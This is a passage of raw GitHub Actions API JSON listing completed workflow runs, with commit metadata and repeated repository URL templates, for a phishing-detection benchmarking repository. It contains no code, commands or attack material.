obs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285487135","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","tree_id":"8ce232e367204eba17d9ec3232905292abf8d016","message":"Cleanup","timestamp":"2020-10-04T05:07:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287426161,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDI2MTYx","head_branch":"API_Flatten","head_sha":"fb2464ce842688286c4c9341affb8e8d98ff4415","run_number":1066,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285457035,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDU3MDM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287426161","pull_requests":[],"created_at":"2020-10-04T04:45:45Z","updated_at":"2020-10-04T05:02:38Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285457035","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"fb2464ce842688286c4c9341affb8e8d98ff4415","tree_id":"eb83790a8ba66f523289fe0dd54b74f50a732a61","message":"Combine output folder","timestamp":"2020-10-04T04:45:37Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287407619,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDA3NjE5","head_branch":"API_Flatten","head_sha":"e7124968b4564bab0c415789f3983726118a4efe","run_number":1065,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285422674,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDIyNjc0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287407619","pull_requests":[],"created_at":"2020-10-04T04:22:22Z","updated_at":"2020-10-04T04:48:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285422674","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287407619/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e7124968b4564bab0c415789f3983726118a4efe","tree_id":"74216af5760af4896544c6910344b2e846d2acec","message":"Cleanup code","timestamp":"2020-10-04T04:22:07Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287403761,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDAzNzYx","head_branch":"API_Flatten","head_sha":"20d94f3b7c16aa26d693831b2e31aaa89c94773c","run_number":1064,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285416233,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDE2MjMz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287403761","pull_requests":[],"created_at":"2020-10-04T04:18:33Z","updated_at":"2020-10-04T04:35:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285416233","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287403761/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"20d94f3b7c16aa26d693831b2e31aaa89c94773c","tree_id":"34d39edf916e3ccb9c186e63d1b63f0ef77f83a4","message":"Unified 